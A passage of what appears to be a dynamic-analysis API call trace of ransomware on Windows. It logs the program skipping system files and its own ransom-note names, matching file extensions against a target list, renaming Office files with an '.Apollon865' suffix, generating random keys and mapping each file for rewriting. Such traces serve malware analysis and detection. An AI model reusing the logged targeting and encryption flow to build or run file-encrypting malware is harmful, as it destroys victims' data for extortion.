	[0067.912] lstrlenW (lpString="xml") returned 3
	[0067.912] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0067.912] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML.Apollon865") returned 75
	[0067.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl020.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl020.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl020.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.913] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=65980) returned 1
	[0067.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0067.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0067.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0067.913] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0067.914] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.914] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.914] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x104c0, lpName=0x0) returned 0xd8
	[0067.916] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x104c0) returned 0x120000
	[0067.973] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.974] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.974] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.974] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0067.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0067.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0067.974] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0067.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0067.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0067.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0067.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0067.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0067.975] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0067.976] CloseHandle (hObject=0xd8) returned 1
	[0067.976] CloseHandle (hObject=0x15c) returned 1
	[0067.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0067.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0067.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0067.976] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93746100, ftCreationTime.dwHighDateTime=0x1ca1b28, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93746100, ftLastWriteTime.dwHighDateTime=0x1ca1b28, nFileSizeHigh=0x0, nFileSizeLow=0x24c9a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL022.XML", cAlternateFileName="")) returned 1
	[0067.976] lstrcmpiW (lpString1="PGLBL022.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.976] lstrcmpiW (lpString1="PGLBL022.XML", lpString2="Apollon865.txt.exe") returned 1
	[0067.976] lstrcmpiW (lpString1="PGLBL022.XML", lpString2=".") returned 1
	[0067.976] lstrcmpiW (lpString1="PGLBL022.XML", lpString2="..") returned 1
	[0067.976] lstrcmpiW (lpString1="PGLBL022.XML", lpString2="windows") returned -1
	[0067.976] lstrcmpiW (lpString1="PGLBL022.XML", lpString2="bootmgr") returned 1
	[0067.976] lstrcmpiW (lpString1="PGLBL022.XML", lpString2="temp") returned -1
	[0067.976] lstrcmpiW (lpString1="PGLBL022.XML", lpString2="pagefile.sys") returned 1
	[0067.976] lstrcmpiW (lpString1="PGLBL022.XML", lpString2="boot") returned 1
	[0067.976] lstrcmpiW (lpString1="PGLBL022.XML", lpString2="ids.txt") returned 1
	[0067.977] lstrcmpiW (lpString1="PGLBL022.XML", lpString2="ntuser.dat") returned 1
	[0067.977] lstrcmpiW (lpString1="PGLBL022.XML", lpString2="perflogs") returned 1
	[0067.977] lstrcmpiW (lpString1="PGLBL022.XML", lpString2="MSBuild") returned 1
	[0067.977] lstrlenW (lpString="PGLBL022.XML") returned 12
	[0067.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML") returned 64
	[0067.977] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL022.XML" | out: lpString1="PGLBL022.XML") returned="PGLBL022.XML"
	[0067.977] lstrlenW (lpString="PGLBL022.XML") returned 12
	[0067.977] lstrlenW (lpString="Apollon865") returned 10
	[0067.977] lstrcmpiW (lpString1="LBL022.XML", lpString2="Apollon865") returned 1
	[0067.977] lstrlenW (lpString=".dll") returned 4
	[0067.977] lstrcmpiW (lpString1="PGLBL022.XML", lpString2=".dll") returned 1
	[0067.977] lstrlenW (lpString=".lnk") returned 4
	[0067.977] lstrcmpiW (lpString1="PGLBL022.XML", lpString2=".lnk") returned 1
	[0067.977] lstrlenW (lpString=".ini") returned 4
	[0067.977] lstrcmpiW (lpString1="PGLBL022.XML", lpString2=".ini") returned 1
	[0067.977] lstrlenW (lpString=".sys") returned 4
	[0067.977] lstrcmpiW (lpString1="PGLBL022.XML", lpString2=".sys") returned 1
	[0067.977] lstrlenW (lpString="PGLBL022.XML") returned 12
	[0067.977] lstrlenW (lpString="bak") returned 3
	[0067.977] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0067.977] lstrlenW (lpString="ba_") returned 3
	[0067.977] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0067.977] lstrlenW (lpString="dbb") returned 3
	[0067.977] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0067.977] lstrlenW (lpString="vmdk") returned 4
	[0067.977] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0067.977] lstrlenW (lpString="rar") returned 3
	[0067.977] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0067.977] lstrlenW (lpString="zip") returned 3
	[0067.977] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0067.977] lstrlenW (lpString="tgz") returned 3
	[0067.977] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0067.977] lstrlenW (lpString="vbox") returned 4
	[0067.977] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0067.977] lstrlenW (lpString="vdi") returned 3
	[0067.978] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0067.978] lstrlenW (lpString="vhd") returned 3
	[0067.978] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0067.978] lstrlenW (lpString="vhdx") returned 4
	[0067.978] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0067.978] lstrlenW (lpString="avhd") returned 4
	[0067.978] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0067.978] lstrlenW (lpString="db") returned 2
	[0067.978] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0067.978] lstrlenW (lpString="db2") returned 3
	[0067.978] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0067.978] lstrlenW (lpString="db3") returned 3
	[0067.978] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0067.978] lstrlenW (lpString="dbf") returned 3
	[0067.978] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0067.978] lstrlenW (lpString="mdf") returned 3
	[0067.978] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0067.978] lstrlenW (lpString="mdb") returned 3
	[0067.978] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0067.978] lstrlenW (lpString="sql") returned 3
	[0067.978] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0067.978] lstrlenW (lpString="sqlite") returned 6
	[0067.978] lstrcmpiW (lpString1="22.XML", lpString2="sqlite") returned -1
	[0067.978] lstrlenW (lpString="sqlite3") returned 7
	[0067.978] lstrcmpiW (lpString1="022.XML", lpString2="sqlite3") returned -1
	[0067.978] lstrlenW (lpString="sqlitedb") returned 8
	[0067.978] lstrcmpiW (lpString1="L022.XML", lpString2="sqlitedb") returned -1
	[0067.978] lstrlenW (lpString="xml") returned 3
	[0067.978] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0067.978] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML.Apollon865") returned 75
	[0067.978] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl022.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl022.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl022.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.980] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=150682) returned 1
	[0067.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0067.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0067.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0067.980] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.981] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.981] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.981] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24fa0, lpName=0x0) returned 0xd8
	[0067.982] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24fa0) returned 0x120000
	[0067.990] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.991] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.991] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0067.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0067.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0067.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0067.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0067.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0067.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0067.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0067.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0067.991] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0067.993] CloseHandle (hObject=0xd8) returned 1
	[0067.993] CloseHandle (hObject=0x15c) returned 1
	[0067.993] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0067.993] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0067.993] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0067.994] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x1f4e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL026.XML", cAlternateFileName="")) returned 1
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2="Apollon865.txt.exe") returned 1
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2=".") returned 1
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2="..") returned 1
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2="windows") returned -1
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2="bootmgr") returned 1
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2="temp") returned -1
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2="pagefile.sys") returned 1
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2="boot") returned 1
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2="ids.txt") returned 1
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2="ntuser.dat") returned 1
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2="perflogs") returned 1
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2="MSBuild") returned 1
	[0067.994] lstrlenW (lpString="PGLBL026.XML") returned 12
	[0067.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML") returned 64
	[0067.994] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL026.XML" | out: lpString1="PGLBL026.XML") returned="PGLBL026.XML"
	[0067.994] lstrlenW (lpString="PGLBL026.XML") returned 12
	[0067.994] lstrlenW (lpString="Apollon865") returned 10
	[0067.994] lstrcmpiW (lpString1="LBL026.XML", lpString2="Apollon865") returned 1
	[0067.994] lstrlenW (lpString=".dll") returned 4
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2=".dll") returned 1
	[0067.994] lstrlenW (lpString=".lnk") returned 4
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2=".lnk") returned 1
	[0067.994] lstrlenW (lpString=".ini") returned 4
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2=".ini") returned 1
	[0067.994] lstrlenW (lpString=".sys") returned 4
	[0067.994] lstrcmpiW (lpString1="PGLBL026.XML", lpString2=".sys") returned 1
	[0067.994] lstrlenW (lpString="PGLBL026.XML") returned 12
	[0067.994] lstrlenW (lpString="bak") returned 3
	[0067.994] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0067.994] lstrlenW (lpString="ba_") returned 3
	[0067.994] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0067.994] lstrlenW (lpString="dbb") returned 3
	[0067.994] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0067.995] lstrlenW (lpString="vmdk") returned 4
	[0067.995] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0067.995] lstrlenW (lpString="rar") returned 3
	[0067.995] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0067.995] lstrlenW (lpString="zip") returned 3
	[0067.995] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0067.995] lstrlenW (lpString="tgz") returned 3
	[0067.995] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0067.995] lstrlenW (lpString="vbox") returned 4
	[0067.995] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0067.995] lstrlenW (lpString="vdi") returned 3
	[0067.995] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0067.995] lstrlenW (lpString="vhd") returned 3
	[0067.995] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0067.995] lstrlenW (lpString="vhdx") returned 4
	[0067.995] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0067.995] lstrlenW (lpString="avhd") returned 4
	[0067.995] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0067.995] lstrlenW (lpString="db") returned 2
	[0067.995] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0067.995] lstrlenW (lpString="db2") returned 3
	[0067.995] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0067.995] lstrlenW (lpString="db3") returned 3
	[0067.995] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0067.995] lstrlenW (lpString="dbf") returned 3
	[0067.995] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0067.995] lstrlenW (lpString="mdf") returned 3
	[0067.995] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0067.995] lstrlenW (lpString="mdb") returned 3
	[0067.995] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0067.995] lstrlenW (lpString="sql") returned 3
	[0067.995] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0067.995] lstrlenW (lpString="sqlite") returned 6
	[0067.995] lstrcmpiW (lpString1="26.XML", lpString2="sqlite") returned -1
	[0067.995] lstrlenW (lpString="sqlite3") returned 7
	[0067.995] lstrcmpiW (lpString1="026.XML", lpString2="sqlite3") returned -1
	[0067.995] lstrlenW (lpString="sqlitedb") returned 8
	[0067.995] lstrcmpiW (lpString1="L026.XML", lpString2="sqlitedb") returned -1
	[0067.996] lstrlenW (lpString="xml") returned 3
	[0067.996] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0067.996] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML.Apollon865") returned 75
	[0067.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl026.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl026.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl026.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.997] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=128230) returned 1
	[0067.997] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0067.998] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0067.998] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0067.998] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.999] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.999] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.999] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f7f0, lpName=0x0) returned 0xd8
	[0068.003] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f7f0) returned 0x120000
	[0068.009] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0068.010] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.010] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0068.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0068.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.011] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0068.012] CloseHandle (hObject=0xd8) returned 1
	[0068.012] CloseHandle (hObject=0x15c) returned 1
	[0068.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.013] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54389200, ftCreationTime.dwHighDateTime=0x1c9f606, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54389200, ftLastWriteTime.dwHighDateTime=0x1c9f606, nFileSizeHigh=0x0, nFileSizeLow=0x6d7e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL027.XML", cAlternateFileName="")) returned 1
	[0068.013] lstrcmpiW (lpString1="PGLBL027.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.013] lstrcmpiW (lpString1="PGLBL027.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.013] lstrcmpiW (lpString1="PGLBL027.XML", lpString2=".") returned 1
	[0068.013] lstrcmpiW (lpString1="PGLBL027.XML", lpString2="..") returned 1
	[0068.013] lstrcmpiW (lpString1="PGLBL027.XML", lpString2="windows") returned -1
	[0068.013] lstrcmpiW (lpString1="PGLBL027.XML", lpString2="bootmgr") returned 1
	[0068.013] lstrcmpiW (lpString1="PGLBL027.XML", lpString2="temp") returned -1
	[0068.013] lstrcmpiW (lpString1="PGLBL027.XML", lpString2="pagefile.sys") returned 1
	[0068.013] lstrcmpiW (lpString1="PGLBL027.XML", lpString2="boot") returned 1
	[0068.013] lstrcmpiW (lpString1="PGLBL027.XML", lpString2="ids.txt") returned 1
	[0068.013] lstrcmpiW (lpString1="PGLBL027.XML", lpString2="ntuser.dat") returned 1
	[0068.013] lstrcmpiW (lpString1="PGLBL027.XML", lpString2="perflogs") returned 1
	[0068.013] lstrcmpiW (lpString1="PGLBL027.XML", lpString2="MSBuild") returned 1
	[0068.013] lstrlenW (lpString="PGLBL027.XML") returned 12
	[0068.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML") returned 64
	[0068.013] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL027.XML" | out: lpString1="PGLBL027.XML") returned="PGLBL027.XML"
	[0068.013] lstrlenW (lpString="PGLBL027.XML") returned 12
	[0068.013] lstrlenW (lpString="Apollon865") returned 10
	[0068.013] lstrcmpiW (lpString1="LBL027.XML", lpString2="Apollon865") returned 1
	[0068.013] lstrlenW (lpString=".dll") returned 4
	[0068.013] lstrcmpiW (lpString1="PGLBL027.XML", lpString2=".dll") returned 1
	[0068.014] lstrlenW (lpString=".lnk") returned 4
	[0068.014] lstrcmpiW (lpString1="PGLBL027.XML", lpString2=".lnk") returned 1
	[0068.014] lstrlenW (lpString=".ini") returned 4
	[0068.014] lstrcmpiW (lpString1="PGLBL027.XML", lpString2=".ini") returned 1
	[0068.014] lstrlenW (lpString=".sys") returned 4
	[0068.014] lstrcmpiW (lpString1="PGLBL027.XML", lpString2=".sys") returned 1
	[0068.014] lstrlenW (lpString="PGLBL027.XML") returned 12
	[0068.014] lstrlenW (lpString="bak") returned 3
	[0068.014] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.014] lstrlenW (lpString="ba_") returned 3
	[0068.014] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.014] lstrlenW (lpString="dbb") returned 3
	[0068.014] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.014] lstrlenW (lpString="vmdk") returned 4
	[0068.014] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
